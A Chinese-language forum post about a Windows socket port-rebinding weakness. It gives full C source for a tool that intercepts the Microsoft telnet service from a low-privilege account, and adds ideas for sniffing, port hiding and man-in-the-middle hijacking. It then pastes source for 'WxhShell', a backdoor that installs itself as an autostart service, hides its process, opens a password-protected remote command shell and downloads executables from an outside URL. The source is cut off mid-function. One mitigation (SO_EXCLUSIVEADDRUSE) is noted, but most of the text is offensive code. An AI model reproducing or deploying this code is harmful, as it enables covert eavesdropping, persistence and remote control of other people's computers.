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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b)w3 G%Xx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); foE2rV/Y  
:yk Z7X&  
  saddr.sin_family = AF_INET; i`8!Vm  
kZGhE2np  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /IV:JVT  
Q:VD 2<2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,bmTB ZV  
a$t [}D2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _I|wp<R  
rmQGzQnun  
  这意味着什么?意味着可以进行如下的攻击: Punbw\9!d,  
PD/JXExK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fBd +gT\S  
TJsT .DWW~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +S%@/q  
<)n   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #^#)OQq]  
 |Be.r{l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /'VCJjzZ  
ocgbBE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~T4 =Id  
Z/x<U.B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JG}U,{7(  
xI:;%5{LN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <J H0 &  
"l +Jx|h\  
  #include A7b7IM[  
  #include )cs y^-qw  
  #include QTn-n)AE  
  #include    ~Nc] `95  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "hlIGJ?_=  
  int main() ^ <|If:|  
  { bR&hI9`%F  
  WORD wVersionRequested; c@nl;u)n  
  DWORD ret; :f/ p5 c  
  WSADATA wsaData; ^ACp_RM  
  BOOL val; 'pm2C6AC  
  SOCKADDR_IN saddr; @fE^w^K7  
  SOCKADDR_IN scaddr; cF vGpZ  
  int err; Gh{k~/B  
  SOCKET s; ki+9 Ln;  
  SOCKET sc; /CA)R26G  
  int caddsize; {8B\-LUR  
  HANDLE mt; J$WIF&*0@  
  DWORD tid;   &_90E  
  wVersionRequested = MAKEWORD( 2, 2 ); >2g CM  
  err = WSAStartup( wVersionRequested, &wsaData ); ? ! 1uw  
  if ( err != 0 ) { H8-,gV  
  printf("error!WSAStartup failed!\n"); %] #; ~I%  
  return -1; .cZ&~ N  
  } ;_Rx|~!!  
  saddr.sin_family = AF_INET; 1@nR.v"$  
   x6)   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RXWjFv~/  
*!s4#|h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g:o\r (  
  saddr.sin_port = htons(23); -O_UpjR;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !w)Mm P Xb  
  { @$nI\ n?*  
  printf("error!socket failed!\n"); Gg.w-&  
  return -1; v"F0$c  
  } r 2   
  val = TRUE; lP9I\Ge&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 G0(c@FBK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ka>RAr J  
  { g3Xz-  
  printf("error!setsockopt failed!\n"); <hK$Cf_  
  return -1; PO%]Jme  
  } |t]9RC.;7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ToMX7xz6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .i=%gg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 quKD\hL$  
uRL3v01?H0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) AV2q*  
  { _ma4  
  ret=GetLastError(); Y?5yzD:  
  printf("error!bind failed!\n"); VUnEI oKM  
  return -1; ,F-tvSc\Q  
  } ?xf;#J+{8  
  listen(s,2); NqwVs VL  
  while(1) [{{?e6J  
  { Kq S2  
  caddsize = sizeof(scaddr); {!/y@/NK2  
  //接受连接请求 -y\N9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ./fEx 'E  
  if(sc!=INVALID_SOCKET) "=".ne  
  { R/Y/#X^b  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5PPy+36<~  
  if(mt==NULL) vfbe=)}[  
  { 18n84RkI9  
  printf("Thread Creat Failed!\n"); `Eu(r]:W  
  break; Gz6GU.IyQy  
  } HJ'93,  
  } bNaUzM!,H  
  CloseHandle(mt); 6szkE{-/?  
  } ?}]kIK}MC  
  closesocket(s); 7O9s 5  
  WSACleanup(); @LE?XlhD  
  return 0; G^(&B30V  
  }   v|/3Mi9mz  
  DWORD WINAPI ClientThread(LPVOID lpParam) xXx`a\i  
  { 8;!Eqyt  
  SOCKET ss = (SOCKET)lpParam; jo(Q`oxm!>  
  SOCKET sc; NSgHO`gU8  
  unsigned char buf[4096]; \=@r1[d  
  SOCKADDR_IN saddr; RYV6hp)|  
  long num; bMUIe\/v[  
  DWORD val; rgYuF,BT.  
  DWORD ret; $HXB !$d  
  //如果是隐藏端口应用的话,可以在此处加一些判断 28)TXRr-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b "Mq7&cf  
  saddr.sin_family = AF_INET; k41la?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *M|\B|A.  
  saddr.sin_port = htons(23); z8j(SI;3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &53#`WgJ  
  { V- cuG.  
  printf("error!socket failed!\n"); #pe{:f?  
  return -1; @\D D|o67  
  } Ad,r(0a LZ  
  val = 100; hKTg~y^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >4ct[fW+  
  {  `JE>GZ Y  
  ret = GetLastError(); Me}TW!GC  
  return -1; eTF8B<?  
  } \i,cL)HM  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rq1kj 8%2  
  { bSr 'ji  
  ret = GetLastError(); pq[mM!;#v  
  return -1; w}.'Tebu  
  } [\b_+s)eN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K7hf m%`N  
  { }R1`ThTM  
  printf("error!socket connect failed!\n"); }91mQ`3  
  closesocket(sc); ?&"^\p  
  closesocket(ss); } x.)gW  
  return -1; 5|R2cc|"9  
  } q`aY.dD=O  
  while(1) Xo@YTol  
  { nF'xV44"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >-w=7,?'?z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mei_aN7zW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RGO:p]t|  
  num = recv(ss,buf,4096,0); A&P1M6Of  
  if(num>0) |nEV Oy>'  
  send(sc,buf,num,0); s\W  
  else if(num==0) e9W7ke E*  
  break; ` (D4gPW  
  num = recv(sc,buf,4096,0); O^}v/}d  
  if(num>0) |mk}@OEf  
  send(ss,buf,num,0); LO]6Xd"  
  else if(num==0) z/KZ[qH\  
  break; j#e.rNG  
  } kP)o=\|W{z  
  closesocket(ss); ~RXpz-Ye  
  closesocket(sc); %EGr0R(  
  return 0 ; ^V}R(gDu}s  
  } gOyY#]g  
^Q=y^fx1  
:Nz?<3R0\  
========================================================== DnHAm q]  
Q H_W\W  
下边附上一个代码,,WXhSHELL +^kxFQ(:  
,%h!%nz!  
========================================================== O4/n!HOb  
&ZE\@Vc  
#include "stdafx.h" ;x-H$OZX  
(b%y$D  
#include <stdio.h> S7kT3zB  
#include <string.h> 9"aFS=><  
#include <windows.h> 4$aO;Z_  
#include <winsock2.h> z@~&Kwf\}  
#include <winsvc.h> >C3NtGvy  
#include <urlmon.h> Y_@"v#,  
A$~xG(  
#pragma comment (lib, "Ws2_32.lib") jRG\C=&(x  
#pragma comment (lib, "urlmon.lib") $W$# CTM  
2Nn1-wdhb  
#define MAX_USER   100 // 最大客户端连接数 g?~Tguv  
#define BUF_SOCK   200 // sock buffer -k&{nD|  
#define KEY_BUFF   255 // 输入 buffer m`$>:B  
V+qJrZ ,i  
#define REBOOT     0   // 重启 d>, V  
#define SHUTDOWN   1   // 关机 lmQ6X  
#jZ@l3  
#define DEF_PORT   5000 // 监听端口 5ttMua <G?  
k=7Gr;;l=p  
#define REG_LEN     16   // 注册表键长度 o}=.  
#define SVC_LEN     80   // NT服务名长度 ?Hi}nsw  
sc8DY!|OYN  
// 从dll定义API CofH}-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ns#~}2"d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _Dj<Eu_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 23-t$y]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h/Hl?O8[  
D;zWksq  
// wxhshell配置信息 XocsSs  
struct WSCFG { f>r3$WKj  
  int ws_port;         // 监听端口 rer|k<k;]G  
  char ws_passstr[REG_LEN]; // 口令 voV:H[RD9  
  int ws_autoins;       // 安装标记, 1=yes 0=no -+}5ma  
  char ws_regname[REG_LEN]; // 注册表键名 T;!ukGoFP  
  char ws_svcname[REG_LEN]; // 服务名 \E@s_fQ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >{m2E8U0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h}|6VJ@.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1s`)yu^`v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U,<]J*b(@4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !&`}]qQZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "#pzZ)Zh  
>+ ]R4  
}; f]8!DXEA  
2vc\=  
// default Wxhshell configuration vUYJf99B  
struct WSCFG wscfg={DEF_PORT, SFn 3$ rh  
    "xuhuanlingzhe", !7*(!as  
    1, O4EIE)c  
    "Wxhshell", a*Ss -y  
    "Wxhshell", R zS|dGNQE  
            "WxhShell Service", YOV :  
    "Wrsky Windows CmdShell Service", st?gA"5w  
    "Please Input Your Password: ", 7qg<[  
  1, $;Vc@mYGW;  
  "http://www.wrsky.com/wxhshell.exe", i3Hz"Qs;  
  "Wxhshell.exe" Sty! atEWT  
    }; jJ a V  
*bA+]&dj\  
// 消息定义模块 u#+RUtM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9 g Bjxqm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3;a R\:p@w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xsd $*F@<  
char *msg_ws_ext="\n\rExit."; \+k, :8s/  
char *msg_ws_end="\n\rQuit."; ^/>Wr'w   
char *msg_ws_boot="\n\rReboot..."; TZ_rsj/t  
char *msg_ws_poff="\n\rShutdown..."; ~BZXt7DE  
char *msg_ws_down="\n\rSave to "; j z~[5m}J  
QCOLC2I  
char *msg_ws_err="\n\rErr!"; ja[OcR-tX  
char *msg_ws_ok="\n\rOK!"; Vkr`17`G  
B0oxCc/'sZ  
char ExeFile[MAX_PATH]; $PSY:Zz  
int nUser = 0; Q.,DZp   
HANDLE handles[MAX_USER]; S _!hsY  
int OsIsNt; }:`5,b%Y_  
V+lRi"m?|  
SERVICE_STATUS       serviceStatus; 4'SaEsA~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FY]pv6@  
[yw%ih)  
// 函数声明 _Vjpw,  
int Install(void); GQN98Y+h  
int Uninstall(void); I%@e@Dm,h  
int DownloadFile(char *sURL, SOCKET wsh); nr OqH  
int Boot(int flag); &<au/^F  
void HideProc(void); _(C^[:s  
int GetOsVer(void); QDS0ejhp  
int Wxhshell(SOCKET wsl); vsKl#R B  
void TalkWithClient(void *cs); (I4y[jnD  
int CmdShell(SOCKET sock); v f`9*xF  
int StartFromService(void); +YTx   
int StartWxhshell(LPSTR lpCmdLine); &Y1`?1;nw  
uBmxh%]C~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }A|))Ao|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wo{K}  
I:#Ok+   
// 数据结构和表定义 :pwa{P  
SERVICE_TABLE_ENTRY DispatchTable[] = 3bH~';<  
{  tPA:_  
{wscfg.ws_svcname, NTServiceMain}, '61i2\[lZQ  
{NULL, NULL} Qyz>ZPu}sz  
}; u4YM^* S.  
~r<p@k=.#0  
// 自我安装 q7,^E`5EgU  
int Install(void) <_9!  
{ nbGoJC:U  
  char svExeFile[MAX_PATH]; 6xHi\L  
  HKEY key; :zlpfm2  
  strcpy(svExeFile,ExeFile); `(!NYx  
W;q+,Io  
// 如果是win9x系统,修改注册表设为自启动 ~%s}S  
if(!OsIsNt) { !z MDP/V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d$K=c1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zmI5"K"'F  
  RegCloseKey(key); XA1f' Kk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J A`H@qE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f&ytK  
  RegCloseKey(key); =}v ;1m  
  return 0; h* s`^W3  
    } @EHIp{0.  
  } EKuSnlTXba  
} IIxJqGN:  
else { e_/x&a(i8  
]>D)#  
// 如果是NT以上系统,安装为系统服务 <F7V=Er  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R:/ha(+  
if (schSCManager!=0) WmNYO,>  
{ uEx9-,!  
  SC_HANDLE schService = CreateService -`7$Qu 2  
  ( HzvlF0f  
  schSCManager, d&jjWlHgEN  
  wscfg.ws_svcname, L/?]^!.  
  wscfg.ws_svcdisp, 3OP.12^  
  SERVICE_ALL_ACCESS, p0M=t-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o.Oq__>$H  
  SERVICE_AUTO_START, !v9lk9SV  
  SERVICE_ERROR_NORMAL, )TU<:V  
  svExeFile, )iU^&@[S  
  NULL, FXahZW~Ol  
  NULL, Uoj i@  
  NULL, =g~W%})  
  NULL, +tt9R_S  
  NULL ;cKH1  
  ); ;W{b $k@g  
  if (schService!=0) \9)#l#m  
  { 9#k0_vDoW  
  CloseServiceHandle(schService); CISO<z0  
  CloseServiceHandle(schSCManager); *N F$1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dl0FQNz8@B  
  strcat(svExeFile,wscfg.ws_svcname); 0xCz'mJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q8xd*--#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `T"rG }c  
  RegCloseKey(key); c@R; /m:R  
  return 0; \a))  
    } L8&D(wh/f  
  } 8>NwCjN  
  CloseServiceHandle(schSCManager); !msNEE@[  
} M2@;RZ(|  
} ?n]FNjd  
|~K(F <;j  
return 1; lb~E0U`\E`  
} iW;i!,  
5~+XZA#2  
// 自我卸载 NTmi 2c  
int Uninstall(void) WUEHB  
{ dMvp&M\\'  
  HKEY key; nY_?Jq  
VWi2(@R^  
if(!OsIsNt) { OeElMRU"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !aNh!  
  RegDeleteValue(key,wscfg.ws_regname); ONX8}Ob~  
  RegCloseKey(key); i ]o"_=C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W7=V{}b+  
  RegDeleteValue(key,wscfg.ws_regname); 2Y OKM #N]  
  RegCloseKey(key); T_;]fPajjD  
  return 0; DlTR|(AL  
  } R7?29?$7  
} |`O7nOM  
} DBsDk kB{  
else { gfy19c 9  
j6g@tx^)'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  8=;k"  
if (schSCManager!=0) zY=jXa)K~  
{ OH6^GPF6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &@v<nO-  
  if (schService!=0)  ?=Db@97  
  { O#eZ<hN V  
  if(DeleteService(schService)!=0) { 9V 0}d2d  
  CloseServiceHandle(schService); ?&X6:KJQ  
  CloseServiceHandle(schSCManager); 0CAa^Q^w  
  return 0; qpp/8M  
  } $t/rOo9cV  
  CloseServiceHandle(schService); bRo|uJ:d  
  } %Mn.e a  
  CloseServiceHandle(schSCManager); 86qI   
} u\1>gDI)|  
} H!)=y  
< <Y}~N  
return 1; CN&  
} ^,8R,S\} $  
Bh]!WMAw.  
// 从指定url下载文件 3 hKBc0  
int DownloadFile(char *sURL, SOCKET wsh) h|;qG)f^  
{ +wO#'D  
  HRESULT hr; pz|'l:v^  
char seps[]= "/"; E JK0  
char *token; TNwK da+  
char *file; p(JlvJjo  
char myURL[MAX_PATH]; c EnkU]  
char myFILE[MAX_PATH]; FjFMR 63  
Di5(9]o2  
strcpy(myURL,sURL); LT@OWH  
  token=strtok(myURL,seps); 1X1 N tS @  
  while(token!=NULL) Pm{*.AW1  
  { T*[ VY1  
    file=token; w:i:~f .  
  token=strtok(NULL,seps); ,!#ccv+Vm%  
  } Q<(YP.k  
e Y$qV}  
GetCurrentDirectory(MAX_PATH,myFILE); Uh6 '$0  
strcat(myFILE, "\\"); 1B=>_3_  
strcat(myFILE, file); O;9?(:_  
  send(wsh,myFILE,strlen(myFILE),0); ExBUpDQc  
send(wsh,"...",3,0); 8wZf ]_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PWr(*ZP>hI  
  if(hr==S_OK) 2 QTZwx  
return 0; wBSQ:f]g  
else [bz T& o  
return 1; _BM4>r?\  
f3MRD4+-  
} &&> tf%[  
P9Q~r<7n  
// 系统电源模块 !CTxVLl"F  
int Boot(int flag) J([s5:.[  
{ Z|lU8`'5  
  HANDLE hToken; s1N?/>lmB  
  TOKEN_PRIVILEGES tkp; 23\RJpKb  
0&+k.Vg  
  if(OsIsNt) { 9xI GV!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zYER  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lSwcL  
    tkp.PrivilegeCount = 1; _fk#<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &53]sFZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3VO2,PCZ  
if(flag==REBOOT) { G6 0S|d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YwEpy(}hJm  
  return 0; %ysZ5:X  
} CY:d`4  
else { ~uWOdm-"[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 13k !'P  
  return 0; !^oV #  
} kOwMs<1J  
  } g=L]S-e  
  else { 1c4/}3*  
if(flag==REBOOT) { DOS0;^f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0|4%4 Mt  
  return 0; hwYQGtjF  
} H6*^Ga  
else { H`hnEOyLp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <x pph t<  
  return 0; ZUm?*.g\^  
} \>. LW9  
} 1/+C5Bp*  
{$D,?V@%_  
return 1; >SF Uy\3  
} =ac_,]z  
tC?=E#3 V  
// win9x进程隐藏模块 n: ui  
void HideProc(void) 5 |0,X<&  
{ MM_k ]-7  
#p(h]T32  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Fxs;Fp  
  if ( hKernel != NULL ) r|Z3$J{^"  
  { `:8J46or  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pIV-kI:w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); olB)p$aH#  
    FreeLibrary(hKernel); & F:IIo7  
  } \*hrW(   
PX: '/{V  
return; Ks^6.)  
} Y_&g="`Q  
?lGG|9J\  
// 获取操作系统版本 F_iXd/  
int GetOsVer(void) -&x2&WE'  
{ GE;e]Jkjn  
  OSVERSIONINFO winfo; rEhX/(n#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xazo 9J  
  GetVersionEx(&winfo); ok^d@zI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =uk0@hy9b  
  return 1; =' ZRfb&  
  else )~4II.`%^  
  return 0; Mv 544>:  
} o+`6LKg;  
sIG7S"k>p  
// 客户端句柄模块 lt^\  
int Wxhshell(SOCKET wsl) sQ6 }\  
{ <~}7Mxn%x@  
  SOCKET wsh; >z;[2 n'  
  struct sockaddr_in client; AqK z$  
  DWORD myID; fx=Awba  
,g-EW jN  
  while(nUser<MAX_USER) rk+#GO{  
{ ~7~~S*EQ  
  int nSize=sizeof(client); ](tx<3h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {2/LRPT  
  if(wsh==INVALID_SOCKET) return 1; <DKS+R  
m }a|FS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y$N)^=7  
if(handles[nUser]==0) />¬$>  
  closesocket(wsh); B]m@:|Q  
else 4c oJRqf=  
  nUser++; U~h'*nV&  
  } GoA4f3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3G.5724,  
:tIC~GG]_)  
  return 0; gmIqT f  
} /27JevE  
2LrJ>Mi  
// 关闭 socket ~$' \L  
void CloseIt(SOCKET wsh) Fc~'TBf,,`  
{ `U+l?S^$  
closesocket(wsh); RZM"~ 0  
nUser--; }kw/W#)J  
ExitThread(0); 4h5g'!9-g  
} f|^dD`  
5MFxo63  
// 客户端请求句柄 ,jXM3?>B  
void TalkWithClient(void *cs) O^/Maa/D1  
{ I1[g&9,  
A7(hw~+@  
  SOCKET wsh=(SOCKET)cs; u` oq(?|  
  char pwd[SVC_LEN]; +!QJTn"3  
  char cmd[KEY_BUFF]; ?)bS['^1)  
char chr[1]; |mdi]TL  
int i,j; D9`0Dr}/2  
kb[P\cRa  
  while (nUser < MAX_USER) { iA8U Yd3Q  
0sI1GhVR  
if(wscfg.ws_passstr) { y=In?QN{6*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QO"oEgB`+Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qB)"qFa  
  //ZeroMemory(pwd,KEY_BUFF); DI!V^M[~u  
      i=0; uB!kM  
  while(i<SVC_LEN) { 2H.654  
j p $Z]  
  // 设置超时 763+uFx^  
  fd_set FdRead; &/Ro lIHF  
  struct timeval TimeOut; 2X:4CC%5  
  FD_ZERO(&FdRead); gp$Ucfu'  
  FD_SET(wsh,&FdRead); 2o>)7^9|#<  
  TimeOut.tv_sec=8; 83;NIE;  
  TimeOut.tv_usec=0; }FzqW*4~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PW3GL3+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ypJ".  
p>_;^&>&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vy_2.  
  pwd=chr[0]; JG9`h#  
  if(chr[0]==0xd || chr[0]==0xa) { m*$|GW9  
  pwd=0; yLsz8j-QJ  
  break; V5p= mmnA,  
  } :>p8zG  
  i++; h3T9"w[  
    } 9f\/\L  
\rVQQ|l   
  // 如果是非法用户,关闭 socket 7' S@3   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =)hVn  
} p7:{^  
O?<&+(uMTT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _EF&A-kX|u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oy 2+b1{  
j5 g# M  
while(1) { + >cBVx6  
%pXAeeSY`;  
  ZeroMemory(cmd,KEY_BUFF); <C9 XX~  
 [ `]4P&  
      // 自动支持客户端 telnet标准   %cE 2s`  
  j=0; ^<LY4^  
  while(j<KEY_BUFF) { R\XKMF3mN3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CgzD$`~  
  cmd[j]=chr[0]; y^]tahbo  
  if(chr[0]==0xa || chr[0]==0xd) { ~G27;Npy  
  cmd[j]=0; 8foJI^3  
  break; YC_1Ks  
  } &W f3~hmo  
  j++; >5Wlc$bc  
    } SZJ$w-<z  
/m!Cc/Hv  
  // 下载文件 )[1)$-Ru  
  if(strstr(cmd,"http://")) { f]7M'sy|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \,J/ r!  
  if(DownloadFile(cmd,wsh)) = waA`Id  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F @Te@n  
  else  iD= p\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Z1q j>  
  } &qS[%K )  
  else { Fq9Q+RNMZL  
_gD pKEaY  
    switch(cmd[0]) { mrV!teP  
  N?X^O#[  
  // 帮助 "bDs2E+W  
  case '?': { d&#~ h:~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >a3p >2  
    break; V5U?F6  
  } CR2_;x:0  
  // 安装 y<b{Ji e  
  case 'i': { sl2@umR7%(  
    if(Install()) p">EHWc}D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w1UA?+43  
    else >AJSqgHQ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7<H |QL&  
    break; LHJ":^  
    } ~Y.tz`2D  
  // 卸载 =V"(AuCVE  
  case 'r': { t'm;:J1  
    if(Uninstall()) Gn;@{x6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &CwFdx:Ff  
    else r=c<--_@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mqq;H}  
    break; Qv-@Zt!8  
    } 97)/"i e  
  // 显示 wxhshell 所在路径 m[k_>e\ u  
  case 'p': { 85;b9k&\M  
    char svExeFile[MAX_PATH]; GJqE!I,.  
    strcpy(svExeFile,"\n\r"); *6(kbes  
      strcat(svExeFile,ExeFile); N?X~w <  
        send(wsh,svExeFile,strlen(svExeFile),0); .5!t:FPOv  
    break; gl).cIpw  
    } <w\:<5e'  
  // 重启 "[:iXRu  
  case 'b': { U?.9D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^fz+41lE\  
    if(Boot(REBOOT)) 0EJ(.8hwm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5JhdV nT_  
    else { .UoOO'1K  
    closesocket(wsh); ZIdA\_c  
    ExitThread(0); fb  da  
    } LSQz"Ll l  
    break; TY(bPq  
    } r]ShZBAbYp  
  // 关机 qF iLh9=D  
  case 'd': { \ u_ui  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z#F.xVg'  
